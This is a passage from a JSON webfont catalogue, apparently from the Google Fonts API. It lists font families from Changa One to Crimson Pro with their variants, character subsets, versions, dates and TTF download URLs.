One","variants":["regular","italic"],"subsets":["latin"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/changaone/v13/xfu00W3wXn3QLUJXhzq46AbouLfbK64.ttf","italic":"http://fonts.gstatic.com/s/changaone/v13/xfu20W3wXn3QLUJXhzq42ATivJXeO67ISw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chango","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chango/v9/2V0cKI0OB5U7WaJyz324TFUaAw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Charm","variants":["regular","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/charm/v5/7cHmv4oii5K0MeYvIe804WIo.ttf","700":"http://fonts.gstatic.com/s/charm/v5/7cHrv4oii5K0Md6TDss8yn4hnCci.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Charmonman","variants":["regular","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/charmonman/v5/MjQDmiR3vP_nuxDv47jiWJGovLdh6OE.ttf","700":"http://fonts.gstatic.com/s/charmonman/v5/MjQAmiR3vP_nuxDv47jiYC2HmL9K9OhmGnY.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Chathura","variants":["100","300","regular","700","800"],"subsets":["latin","telugu"],"version":"v6","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/chathura/v6/_gP91R7-rzUuVjim42dEq0SbTvZyuDo.ttf","300":"http://fonts.gstatic.com/s/chathura/v6/_gP81R7-rzUuVjim42eMiWSxYPp7oSNy.ttf","regular":"http://fonts.gstatic.com/s/chathura/v6/_gP71R7-rzUuVjim418goUC5S-Zy.ttf","700":"http://fonts.gstatic.com/s/chathura/v6/_gP81R7-rzUuVjim42ecjmSxYPp7oSNy.ttf","800":"http://fonts.gstatic.com/s/chathura/v6/_gP81R7-rzUuVjim42eAjWSxYPp7oSNy.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Chau Philomene One","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chauphilomeneone/v10/55xxezRsPtfie1vPY49qzdgSlJiHRQFsnIx7QMISdQ.ttf","italic":"http://fonts.gstatic.com/s/chauphilomeneone/v10/55xzezRsPtfie1vPY49qzdgSlJiHRQFcnoZ_YscCdXQB.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Chela One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chelaone/v9/6ae-4KC7Uqgdz_JZdPIy31vWNTMwoQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chelsea Market","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chelseamarket/v8/BCawqZsHqfr89WNP_IApC8tzKBhlLA4uKkWk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chenla","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chenla/v13/SZc43FDpIKu8WZ9eXxfonUPL6Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cherry Cream Soda","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cherrycreamsoda/v11/UMBIrOxBrW6w2FFyi9paG0fdVdRciTd6Cd47DJ7G.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cherry Swash","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cherryswash/v9/i7dNIFByZjaNAMxtZcnfAy58QHi-EwWMbg.ttf","700":"http://fonts.gstatic.com/s/cherryswash/v9/i7dSIFByZjaNAMxtZcnfAy5E_FeaGy6QZ3WfYg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chewy","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/chewy/v12/uK_94ruUb-k-wk5xIDMfO-ed.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chicle","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chicle/v9/lJwG-pw9i2dqU-BDyWKuobYSxw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chilanka","variants":["regular"],"subsets":["latin","malayalam"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chilanka/v6/WWXRlj2DZQiMJYaYRrJQI9EAZhTO.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Chivo","variants":["300","300italic","regular","italic","700","700italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/chivo/v12/va9F4kzIxd1KFrjDY8Z_uqzGQC_-.ttf","300italic":"http://fonts.gstatic.com/s/chivo/v12/va9D4kzIxd1KFrBteUp9sKjkRT_-bF0.ttf","regular":"http://fonts.gstatic.com/s/chivo/v12/va9I4kzIxd1KFoBvS-J3kbDP.ttf","italic":"http://fonts.gstatic.com/s/chivo/v12/va9G4kzIxd1KFrBtQeZVlKDPWTY.ttf","700":"http://fonts.gstatic.com/s/chivo/v12/va9F4kzIxd1KFrjTZMZ_uqzGQC_-.ttf","700italic":"http://fonts.gstatic.com/s/chivo/v12/va9D4kzIxd1KFrBteVp6sKjkRT_-bF0.ttf","900":"http://fonts.gstatic.com/s/chivo/v12/va9F4kzIxd1KFrjrZsZ_uqzGQC_-.ttf","900italic":"http://fonts.gstatic.com/s/chivo/v12/va9D4kzIxd1KFrBteWJ4sKjkRT_-bF0.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Chonburi","variants":["regular"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chonburi/v5/8AtqGs-wOpGRTBq66IWaFr3biAfZ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cinzel","variants":["regular","500","600","700","800","900"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-08-20","files":{"regular":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-tbnTYrvDE5ZdqU.ttf","500":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-uTnTYrvDE5ZdqU.ttf","600":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-gjgTYrvDE5ZdqU.ttf","700":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-jHgTYrvDE5ZdqU.ttf","800":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-lbgTYrvDE5ZdqU.ttf","900":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-n_gTYrvDE5ZdqU.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cinzel Decorative","variants":["regular","700","900"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cinzeldecorative/v9/daaCSScvJGqLYhG8nNt8KPPswUAPnh7URs1LaCyC.ttf","700":"http://fonts.gstatic.com/s/cinzeldecorative/v9/daaHSScvJGqLYhG8nNt8KPPswUAPniZoaelDQzCLlQXE.ttf","900":"http://fonts.gstatic.com/s/cinzeldecorative/v9/daaHSScvJGqLYhG8nNt8KPPswUAPniZQa-lDQzCLlQXE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Clicker Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/clickerscript/v8/raxkHiKPvt8CMH6ZWP8PdlEq72rY2zqUKafv.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Coda","variants":["regular","800"],"subsets":["latin","latin-ext"],"version":"v16","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/coda/v16/SLXHc1jY5nQ8JUIMapaN39I.ttf","800":"http://fonts.gstatic.com/s/coda/v16/SLXIc1jY5nQ8HeIgTp6mw9t1cX8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Coda Caption","variants":["800"],"subsets":["latin","latin-ext"],"version":"v14","lastModified":"2020-09-02","files":{"800":"http://fonts.gstatic.com/s/codacaption/v14/ieVm2YRII2GMY7SyXSoDRiQGqcx6x_-fACIgaw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Codystar","variants":["300","regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/codystar/v8/FwZf7-Q1xVk-40qxOuYsyuyrj0e29bfC.ttf","regular":"http://fonts.gstatic.com/s/codystar/v8/FwZY7-Q1xVk-40qxOt6A4sijpFu_.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Coiny","variants":["regular"],"subsets":["latin","latin-ext","tamil","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/coiny/v6/gyByhwU1K989PXwbElSvO5Tc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Combo","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/combo/v9/BXRlvF3Jh_fIhg0iBu9y8Hf0.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Comfortaa","variants":["300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v29","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/comfortaa/v29/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4TbMPrQVIT9c2c8.ttf","regular":"http://fonts.gstatic.com/s/comfortaa/v29/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4WjMPrQVIT9c2c8.ttf","500":"http://fonts.gstatic.com/s/comfortaa/v29/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4VrMPrQVIT9c2c8.ttf","600":"http://fonts.gstatic.com/s/comfortaa/v29/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4bbLPrQVIT9c2c8.ttf","700":"http://fonts.gstatic.com/s/comfortaa/v29/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4Y_LPrQVIT9c2c8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Comic Neue","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/comicneue/v2/4UaErEJDsxBrF37olUeD_wHLwpteLwtHJlc.ttf","300italic":"http://fonts.gstatic.com/s/comicneue/v2/4UaarEJDsxBrF37olUeD96_RTplUKylCNlcw_Q.ttf","regular":"http://fonts.gstatic.com/s/comicneue/v2/4UaHrEJDsxBrF37olUeDx63j5pN1MwI.ttf","italic":"http://fonts.gstatic.com/s/comicneue/v2/4UaFrEJDsxBrF37olUeD96_p4rFwIwJePw.ttf","700":"http://fonts.gstatic.com/s/comicneue/v2/4UaErEJDsxBrF37olUeD_xHMwpteLwtHJlc.ttf","700italic":"http://fonts.gstatic.com/s/comicneue/v2/4UaarEJDsxBrF37olUeD96_RXp5UKylCNlcw_Q.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Coming Soon","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/comingsoon/v12/qWcuB6mzpYL7AJ2VfdQR1u-SUjjzsykh.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Commissioner","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-10-08","files":{"100":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Ni-IO9pOXuRoaY.ttf","200":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Fi_IO9pOXuRoaY.ttf","300":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Ia_IO9pOXuRoaY.ttf","regular":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Ni_IO9pOXuRoaY.ttf","500":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Oq_IO9pOXuRoaY.ttf","600":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Aa4IO9pOXuRoaY.ttf","700":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5D-4IO9pOXuRoaY.ttf","800":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Fi4IO9pOXuRoaY.ttf","900":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5HG4IO9pOXuRoaY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Concert One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/concertone/v11/VEM1Ro9xs5PjtzCu-srDqRTlhv-CuVAQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Condiment","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/condiment/v8/pONk1hggFNmwvXALyH6Sq4n4o1vyCQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Content","variants":["regular","700"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/content/v13/zrfl0HLayePhU_AwUaDyIiL0RCg.ttf","700":"http://fonts.gstatic.com/s/content/v13/zrfg0HLayePhU_AwaRzdBirfWCHvkAI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Contrail One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/contrailone/v10/eLGbP-j_JA-kG0_Zo51noafdZUvt_c092w.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Convergence","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/convergence/v9/rax5HiePvdgXPmmMHcIPYRhasU7Q8Cad.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cookie","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cookie/v12/syky-y18lb0tSbfNlQCT9tPdpw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Copse","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/copse/v10/11hPGpDKz1rGb0djHkihUb-A.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Corben","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/corben/v14/LYjDdGzzklQtCMp9oAlEpVs3VQ.ttf","700":"http://fonts.gstatic.com/s/corben/v14/LYjAdGzzklQtCMpFHCZgrXArXN7HWQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cormorant","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorant/v10/H4cgBXOCl9bbnla_nHIiRLmYgoyyYzFzFw.ttf","300italic":"http://fonts.gstatic.com/s/cormorant/v10/H4c-BXOCl9bbnla_nHIq6qMUgIa2QTRjF8ER.ttf","regular":"http://fonts.gstatic.com/s/cormorant/v10/H4clBXOCl9bbnla_nHIa6JG8iqeuag.ttf","italic":"http://fonts.gstatic.com/s/cormorant/v10/H4cjBXOCl9bbnla_nHIq6pu4qKK-aihq.ttf","500":"http://fonts.gstatic.com/s/cormorant/v10/H4cgBXOCl9bbnla_nHIiHLiYgoyyYzFzFw.ttf","500italic":"http://fonts.gstatic.com/s/cormorant/v10/H4c-BXOCl9bbnla_nHIq6qNMgYa2QTRjF8ER.ttf","600":"http://fonts.gstatic.com/s/cormorant/v10/H4cgBXOCl9bbnla_nHIiML-YgoyyYzFzFw.ttf","600italic":"http://fonts.gstatic.com/s/cormorant/v10/H4c-BXOCl9bbnla_nHIq6qNghoa2QTRjF8ER.ttf","700":"http://fonts.gstatic.com/s/cormorant/v10/H4cgBXOCl9bbnla_nHIiVL6YgoyyYzFzFw.ttf","700italic":"http://fonts.gstatic.com/s/cormorant/v10/H4c-BXOCl9bbnla_nHIq6qMEh4a2QTRjF8ER.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cormorant Garamond","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v9","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQAllvuQWJ5heb_w.ttf","300italic":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEPjuw-NxBKL_y94.ttf","regular":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3bmX5slCNuHLi8bLeY9MK7whWMhyjornFLsS6V7w.ttf","italic":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrHtPkyuF7w6C.ttf","500":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQWlhvuQWJ5heb_w.ttf","500italic":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEO7ug-NxBKL_y94.ttf","600":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQdl9vuQWJ5heb_w.ttf","600italic":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEOXvQ-NxBKL_y94.ttf","700":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQEl5vuQWJ5heb_w.ttf","700italic":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEPzvA-NxBKL_y94.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cormorant Infant","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyIU44g9vKiM1sORYSiWeAsLN9951w3_DMrQqcdJrk.ttf","300italic":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyKU44g9vKiM1sORYSiWeAsLN997_ItcDEhRoUYNrn_Ig.ttf","regular":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyPU44g9vKiM1sORYSiWeAsLN993_Af2DsAXq4.ttf","italic":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyJU44g9vKiM1sORYSiWeAsLN997_IV3BkFTq4EPw.ttf","500":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyIU44g9vKiM1sORYSiWeAsLN995wQ2_DMrQqcdJrk.ttf","500italic":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyKU44g9vKiM1sORYSiWeAsLN997_ItKDAhRoUYNrn_Ig.ttf","600":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyIU44g9vKiM1sORYSiWeAsLN995ygx_DMrQqcdJrk.ttf","600italic":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyKU44g9vKiM1sORYSiWeAsLN997_ItBDchRoUYNrn_Ig.ttf","700":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyIU44g9vKiM1sORYSiWeAsLN9950ww_DMrQqcdJrk.ttf","700italic":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyKU44g9vKiM1sORYSiWeAsLN997_ItYDYhRoUYNrn_Ig.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cormorant SC","variants":["300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorantsc/v10/0ybmGD4kxqXBmOVLG30OGwsmABIU_R3y8DOWGA.ttf","regular":"http://fonts.gstatic.com/s/cormorantsc/v10/0yb5GD4kxqXBmOVLG30OGwserDow9Tbu-Q.ttf","500":"http://fonts.gstatic.com/s/cormorantsc/v10/0ybmGD4kxqXBmOVLG30OGwsmWBMU_R3y8DOWGA.ttf","600":"http://fonts.gstatic.com/s/cormorantsc/v10/0ybmGD4kxqXBmOVLG30OGwsmdBQU_R3y8DOWGA.ttf","700":"http://fonts.gstatic.com/s/cormorantsc/v10/0ybmGD4kxqXBmOVLG30OGwsmEBUU_R3y8DOWGA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cormorant Unicase","variants":["300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorantunicase/v10/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9N_tucv7Gy0DRzS.ttf","regular":"http://fonts.gstatic.com/s/cormorantunicase/v10/HI_QiZUaILtOqhqgDeXoF_n1_fTGX-vTnsMnx3C9.ttf","500":"http://fonts.gstatic.com/s/cormorantunicase/v10/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9Mnt-cv7Gy0DRzS.ttf","600":"http://fonts.gstatic.com/s/cormorantunicase/v10/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9MLsOcv7Gy0DRzS.ttf","700":"http://fonts.gstatic.com/s/cormorantunicase/v10/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9Nvsecv7Gy0DRzS.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cormorant Upright","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorantupright/v8/VuJudM3I2Y35poFONtLdafkUCHw1y1N5phDsU9X6RPzQ.ttf","regular":"http://fonts.gstatic.com/s/cormorantupright/v8/VuJrdM3I2Y35poFONtLdafkUCHw1y2vVjjTkeMnz.ttf","500":"http://fonts.gstatic.com/s/cormorantupright/v8/VuJudM3I2Y35poFONtLdafkUCHw1y1MhpxDsU9X6RPzQ.ttf","600":"http://fonts.gstatic.com/s/cormorantupright/v8/VuJudM3I2Y35poFONtLdafkUCHw1y1MNoBDsU9X6RPzQ.ttf","700":"http://fonts.gstatic.com/s/cormorantupright/v8/VuJudM3I2Y35poFONtLdafkUCHw1y1NpoRDsU9X6RPzQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Courgette","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/courgette/v8/wEO_EBrAnc9BLjLQAUkFUfAL3EsHiA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Courier Prime","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/courierprime/v2/u-450q2lgwslOqpF_6gQ8kELWwZjW-_-tvg.ttf","italic":"http://fonts.gstatic.com/s/courierprime/v2/u-4n0q2lgwslOqpF_6gQ8kELawRpX837pvjxPA.ttf","700":"http://fonts.gstatic.com/s/courierprime/v2/u-4k0q2lgwslOqpF_6gQ8kELY7pMf-fVqvHoJXw.ttf","700italic":"http://fonts.gstatic.com/s/courierprime/v2/u-4i0q2lgwslOqpF_6gQ8kELawRR4-LfrtPtNXyeAg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Cousine","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","hebrew","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/cousine/v16/d6lIkaiiRdih4SpPzSMlzTbtz9k.ttf","italic":"http://fonts.gstatic.com/s/cousine/v16/d6lKkaiiRdih4SpP_SEvyRTo39l8hw.ttf","700":"http://fonts.gstatic.com/s/cousine/v16/d6lNkaiiRdih4SpP9Z8K6T7G09BlnmQ.ttf","700italic":"http://fonts.gstatic.com/s/cousine/v16/d6lPkaiiRdih4SpP_SEXdTvM1_JgjmRpOA.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Coustard","variants":["regular","900"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/coustard/v11/3XFpErgg3YsZ5fqUU9UPvWXuROTd.ttf","900":"http://fonts.gstatic.com/s/coustard/v11/3XFuErgg3YsZ5fqUU-2LkEHmb_jU3eRL.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Covered By Your Grace","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/coveredbyyourgrace/v10/QGYwz-AZahWOJJI9kykWW9mD6opopoqXSOS0FgItq6bFIg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Crafty Girls","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/craftygirls/v10/va9B4kXI39VaDdlPJo8N_NvuQR37fF3Wlg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Creepster","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/creepster/v9/AlZy_zVUqJz4yMrniH4hdXf4XB0Tow.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Crete Round","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/creteround/v9/55xoey1sJNPjPiv1ZZZrxJ1827zAKnxN.ttf","italic":"http://fonts.gstatic.com/s/creteround/v9/55xqey1sJNPjPiv1ZZZrxK1-0bjiL2xNhKc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Crimson Pro","variants":["200","300","regular","500","600","700","800","900","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-06-26","files":{"200":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZTm18OJE_VNWoyQ.ttf","300":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZkG18OJE_VNWoyQ.ttf","regular":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZzm18OJE_VNWoyQ.ttf","500":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZ_G18OJE_VNWoyQ.ttf","600":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZEGp8OJE_VNWoyQ.ttf","700":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZKWp8OJE_VNWoyQ.ttf","800":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZTmp8OJE_VNWoyQ.ttf","900":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZZ2p8OJE_VNWoyQ.ttf","200italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi4Ue5s7dtC4yZNE.ttf","300italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi7Ke5s7dtC4yZNE.ttf","italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi6Ue5s7dtC4yZNE.ttf","500italic":"http://font